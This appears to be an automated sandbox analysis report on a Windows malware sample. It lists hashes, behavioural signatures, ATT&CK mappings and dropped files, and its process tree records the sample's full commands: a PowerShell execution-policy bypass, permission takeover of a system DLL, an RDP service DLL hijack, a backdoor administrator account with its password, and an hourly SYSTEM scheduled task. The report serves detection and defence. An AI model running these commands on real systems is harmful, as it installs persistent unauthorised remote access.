Analysis

  • max time kernel
    131s
  • max time network
    77s
  • platform
    windows7_x64
  • resource
    win7-20220414-en
  • submitted
    15-05-2022 21:36

General

  • Target

    dd3edd0a584fff1f7eadd86f868eeda95f05138caf70c5ba8d807af2f8390887.exe

  • Size

    2.9MB

  • MD5

    69669d80ee67ca88c2c636c5f4e567ac

  • SHA1

    7854501a76d59ad31844330782db017b2d8ea8a5

  • SHA256

    dd3edd0a584fff1f7eadd86f868eeda95f05138caf70c5ba8d807af2f8390887

  • SHA512

    024a27a001c18276c7e6863119d3fbe72eb7157be9142bca5e1b058e52abf61648251896460a1c43ac02a8bf790201a1ed770ae37b2d20e4e2f01f7d9319bf4c

Malware Config

Signatures

  • Grants admin privileges 1 TTPs

    Uses net.exe to modify the user's privileges.

  • Modifies RDP port number used by Windows 1 TTPs
  • Possible privilege escalation attempt 8 IoCs
  • Sets DLL path for service in the registry 2 TTPs
  • UPX packed file 1 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Deletes itself 1 IoCs
  • Loads dropped DLL 3 IoCs
  • Modifies file permissions 1 TTPs 8 IoCs
  • Drops file in System32 directory 1 IoCs
  • Drops file in Windows directory 3 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Creates scheduled task(s) 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Modifies registry key 1 TTPs 1 IoCs
  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious behavior: LoadsDriver 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\dd3edd0a584fff1f7eadd86f868eeda95f05138caf70c5ba8d807af2f8390887.exe
    "C:\Users\Admin\AppData\Local\Temp\dd3edd0a584fff1f7eadd86f868eeda95f05138caf70c5ba8d807af2f8390887.exe"
    1⤵
    • Loads dropped DLL
    • Suspicious use of WriteProcessMemory
    PID:1592
    • C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /C powershell -ExecutionPolicy Bypass -f C:\Users\Admin\AppData\Local\Temp\TWUCSTRVZCTWUCSTRVZCTWUCSTRVZC.ps1
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:904
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -ExecutionPolicy Bypass -f C:\Users\Admin\AppData\Local\Temp\TWUCSTRVZCTWUCSTRVZCTWUCSTRVZC.ps1
        3⤵
        • Deletes itself
        • Drops file in System32 directory
        • Drops file in Windows directory
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:1748
        • C:\Windows\system32\takeown.exe
          "C:\Windows\system32\takeown.exe" /A /F rfxvmt.dll
          4⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:1440
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /inheritance:d
          4⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:300
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /setowner "NT SERVICE\TrustedInstaller"
          4⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          • Suspicious use of AdjustPrivilegeToken
          PID:1624
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT SERVICE\TrustedInstaller:F"
          4⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:1060
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /remove "NT AUTHORITY\SYSTEM"
          4⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:852
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT AUTHORITY\SYSTEM:RX"
          4⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:1200
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /remove BUILTIN\Administrators
          4⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:432
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant BUILTIN\Administrators:RX
          4⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:1504
        • C:\Windows\system32\reg.exe
          "C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f
          4⤵
            PID:1428
          • C:\Windows\system32\reg.exe
            "C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d %SystemRoot%\help\tmp5211.dat /f
            4⤵
            • Modifies registry key
            PID:524
          • C:\Windows\system32\net.exe
            "C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
            4⤵
            • Suspicious use of WriteProcessMemory
            PID:844
            • C:\Windows\system32\net1.exe
              C:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
              5⤵
                PID:1268
            • C:\Windows\system32\cmd.exe
              "C:\Windows\system32\cmd.exe" /c del %temp%\*.ps1 /f
              4⤵
                PID:1640
              • C:\Windows\system32\cmd.exe
                "C:\Windows\system32\cmd.exe" /c del %temp%\*.txt /f
                4⤵
                  PID:1776
          • C:\Windows\System32\cmd.exe
            cmd /C net.exe user WgaUtilAcc YX0KncSp /add
            1⤵
            • Suspicious use of WriteProcessMemory
            PID:1564
            • C:\Windows\system32\net.exe
              net.exe user WgaUtilAcc YX0KncSp /add
              2⤵
              • Suspicious use of WriteProcessMemory
              PID:908
              • C:\Windows\system32\net1.exe
                C:\Windows\system32\net1 user WgaUtilAcc YX0KncSp /add
                3⤵
                  PID:1592
            • C:\Windows\System32\cmd.exe
              cmd /C net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
              1⤵
              • Suspicious use of WriteProcessMemory
              PID:1548
              • C:\Windows\system32\net.exe
                net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
                2⤵
                • Suspicious use of WriteProcessMemory
                PID:1240
                • C:\Windows\system32\net1.exe
                  C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
                  3⤵
                    PID:2004
              • C:\Windows\System32\cmd.exe
                cmd /C net.exe LOCALGROUP "Remote Desktop Users" WYZSGDWS$ /ADD
                1⤵
                • Suspicious use of WriteProcessMemory
                PID:1296
                • C:\Windows\system32\net.exe
                  net.exe LOCALGROUP "Remote Desktop Users" WYZSGDWS$ /ADD
                  2⤵
                    PID:1624
                    • C:\Windows\system32\net1.exe
                      C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" WYZSGDWS$ /ADD
                      3⤵
                        PID:1148
                  • C:\Windows\System32\cmd.exe
                    cmd /C net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
                    1⤵
                      PID:1356
                      • C:\Windows\system32\net.exe
                        net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
                        2⤵
                          PID:1684
                          • C:\Windows\system32\net1.exe
                            C:\Windows\system32\net1 LOCALGROUP "Administrators" WgaUtilAcc /ADD
                            3⤵
                              PID:1584
                        • C:\Windows\System32\cmd.exe
                          cmd /C net.exe user WgaUtilAcc YX0KncSp
                          1⤵
                            PID:2040
                            • C:\Windows\system32\net.exe
                              net.exe user WgaUtilAcc YX0KncSp
                              2⤵
                                PID:1988
                                • C:\Windows\system32\net1.exe
                                  C:\Windows\system32\net1 user WgaUtilAcc YX0KncSp
                                  3⤵
                                    PID:1228
                              • C:\Windows\System32\cmd.exe
                                cmd /C schtasks /create /tn 27093 /tr "powershell -nop -ep bypass -f c:\windows\help\10298.ps1" /ru system /sc hourly /mo 1
                                1⤵
                                  PID:536
                                  • C:\Windows\system32\schtasks.exe
                                    schtasks /create /tn 27093 /tr "powershell -nop -ep bypass -f c:\windows\help\10298.ps1" /ru system /sc hourly /mo 1
                                    2⤵
                                    • Creates scheduled task(s)
                                    PID:1268

                                Network

                                MITRE ATT&CK Matrix ATT&CK v6

                                Execution

                                Scheduled Task

                                1
                                T1053

                                Persistence

                                Account Manipulation

                                1
                                T1098

                                Registry Run Keys / Startup Folder

                                1
                                T1060

                                Scheduled Task

                                1
                                T1053

                                Privilege Escalation

                                Scheduled Task

                                1
                                T1053

                                Defense Evasion

                                Modify Registry

                                2
                                T1112

                                File Permissions Modification

                                1
                                T1222

                                Discovery

                                System Information Discovery

                                1
                                T1082

                                Lateral Movement

                                Remote Desktop Protocol

                                1
                                T1076

                                Replay Monitor

                                Loading Replay Monitor...

                                Downloads

                                • C:\Users\Admin\AppData\Local\Temp\TWUCSTRVZCTWUCSTRVZCTWUCSTRVZC.ps1
                                  Filesize

                                  3.5MB

                                  MD5

                                  67e1452131ae07c4b67762d3c302f52b

                                  SHA1

                                  d6329ac864341d9dd86ff9032df8912ec8c44c8b

                                  SHA256

                                  6416923da618a13311012632be2aa383a711c84ee182670e663e4bd8c6464950

                                  SHA512

                                  013ee8398189be291970c431be6cab9597e9c3650be44c8842bafeb90e2ac84dc720daf82f24bf67bab4564272fcb34db76b352923697095f9e4b9ed2a553280

                                • C:\Users\Admin\AppData\Local\Temp\changes_7521tg.txt
                                  Filesize

                                  102B

                                  MD5

                                  5afcf6a1a129fe00bfc44dd97cf04d11

                                  SHA1

                                  1c91511094c9829b4c97c5c5551d83362ca1d6eb

                                  SHA256

                                  16764136d98f9c29fc110ae4844da6cc1ccef58689c78b7e5863a9b15b773c92

                                  SHA512

                                  ea3105e6c2c6ef1e9f737d84efaa5be32938e56c7c9b0197e6bd474cc70c7cd8a5263f79118d229f2ed5a8e8adfb124f8ef43398f37c5e53f8540b2452dd4cc7

                                • C:\Windows\system32\rfxvmt.dll
                                  Filesize

                                  40KB

                                  MD5

                                  dc39d23e4c0e681fad7a3e1342a2843c

                                  SHA1

                                  58fd7d50c2dca464a128f5e0435d6f0515e62073

                                  SHA256

                                  6d9a41a03a3bd5362e3af24f97ba99d2f9927d1375e4f608942a712866d133b9

                                  SHA512

                                  5cb75e04ce9f5c3714e30c4fd5b8dbcd3952c3d756556dd76206111fe5b4e980c6c50209ab0914ab3afe15bd9c33ff0d49463ca11547214122859918de2a58f7

                                • \??\PIPE\lsarpc
                                  MD5

                                  d41d8cd98f00b204e9800998ecf8427e

                                  SHA1

                                  da39a3ee5e6b4b0d3255bfef95601890afd80709

                                  SHA256

                                  e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855

                                  SHA512

                                  cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

                                • \??\PIPE\samr
                                  MD5

                                  d41d8cd98f00b204e9800998ecf8427e

                                  SHA1

                                  da39a3ee5e6b4b0d3255bfef95601890afd80709

                                  SHA256

                                  e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855

                                  SHA512

                                  cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

                                • \Users\Admin\AppData\Local\Temp\nsd456.tmp\System.dll
                                  Filesize

                                  11KB

                                  MD5

                                  fbe295e5a1acfbd0a6271898f885fe6a

                                  SHA1

                                  d6d205922e61635472efb13c2bb92c9ac6cb96da

                                  SHA256

                                  a1390a78533c47e55cc364e97af431117126d04a7faed49390210ea3e89dd0e1

                                  SHA512

                                  2cb596971e504eaf1ce8e3f09719ebfb3f6234cea5ca7b0d33ec7500832ff4b97ec2bbe15a1fbf7e6a5b02c59db824092b9562cd8991f4d027feab6fd3177b06

                                • \Windows\Help\tmp5211.dat
                                  Filesize

                                  120KB

                                  MD5

                                  9a5f1af394cdad5ca5000dc87b664017

                                  SHA1

                                  97ccaa9535d3f2a0ed259e91b3bb4e7417d50863

                                  SHA256

                                  e004b95ba76b4fad388fad96714bf95cd6f2ce8fa3b262d63bf25749dbea8b10

                                  SHA512

                                  cc48689ef61b5474291f5a6ac298d30a696950acfffe8208d8965ba7e85cce96b575ebdf0b59d0b764bb35b05404c9a74434eb9b24cd244125a194a02f5dd67a

                                • \Windows\Help\tmp5212.dat
                                  Filesize

                                  783KB

                                  MD5

                                  9790f9fecc9bf0b6cac0dd2ea51214b8

                                  SHA1

                                  257b5af37b30ee374ada8e1a7a4259c5a87503bc

                                  SHA256

                                  40c7851445ab77275378d31090f155d856982b0d98c5c2990fbd1b708a371d30

                                  SHA512

                                  c8ef15aaabea3a2abfefa3a2bee0d349740009d9f3fcd0ffe145f2004f63dfedaff177c279bba4101f2e9d86944f6b4a371bbc080fa718a28e42be7578bd3bc6

                                • memory/300-66-0x0000000000000000-mapping.dmp
                                • memory/432-71-0x0000000000000000-mapping.dmp
                                • memory/524-74-0x0000000000000000-mapping.dmp
                                • memory/844-75-0x0000000000000000-mapping.dmp
                                • memory/852-69-0x0000000000000000-mapping.dmp
                                • memory/904-56-0x0000000000000000-mapping.dmp
                                • memory/908-82-0x0000000000000000-mapping.dmp
                                • memory/1060-68-0x0000000000000000-mapping.dmp
                                • memory/1148-87-0x0000000000000000-mapping.dmp
                                • memory/1200-70-0x0000000000000000-mapping.dmp
                                • memory/1228-93-0x0000000000000000-mapping.dmp
                                • memory/1240-84-0x0000000000000000-mapping.dmp
                                • memory/1268-76-0x0000000000000000-mapping.dmp
                                • memory/1268-94-0x0000000000000000-mapping.dmp
                                • memory/1428-73-0x0000000000000000-mapping.dmp
                                • memory/1440-64-0x0000000000000000-mapping.dmp
                                • memory/1504-72-0x0000000000000000-mapping.dmp
                                • memory/1584-90-0x0000000000000000-mapping.dmp
                                • memory/1592-83-0x0000000000000000-mapping.dmp
                                • memory/1592-54-0x0000000075581000-0x0000000075583000-memory.dmp
                                  Filesize

                                  8KB

                                • memory/1624-86-0x0000000000000000-mapping.dmp
                                • memory/1624-67-0x0000000000000000-mapping.dmp
                                • memory/1640-80-0x0000000000000000-mapping.dmp
                                • memory/1684-89-0x0000000000000000-mapping.dmp
                                • memory/1748-60-0x000000001B6E0000-0x000000001B9DF000-memory.dmp
                                  Filesize

                                  3.0MB

                                • memory/1748-59-0x000007FEF35D0000-0x000007FEF412D000-memory.dmp
                                  Filesize

                                  11.4MB

                                • memory/1748-61-0x00000000026C4000-0x00000000026C7000-memory.dmp
                                  Filesize

                                  12KB

                                • memory/1748-58-0x000007FEFBD01000-0x000007FEFBD03000-memory.dmp
                                  Filesize

                                  8KB

                                • memory/1748-57-0x0000000000000000-mapping.dmp
                                • memory/1748-63-0x00000000026CB000-0x00000000026EA000-memory.dmp
                                  Filesize

                                  124KB

                                • memory/1776-81-0x0000000000000000-mapping.dmp
                                • memory/1988-92-0x0000000000000000-mapping.dmp
                                • memory/2004-85-0x0000000000000000-mapping.dmp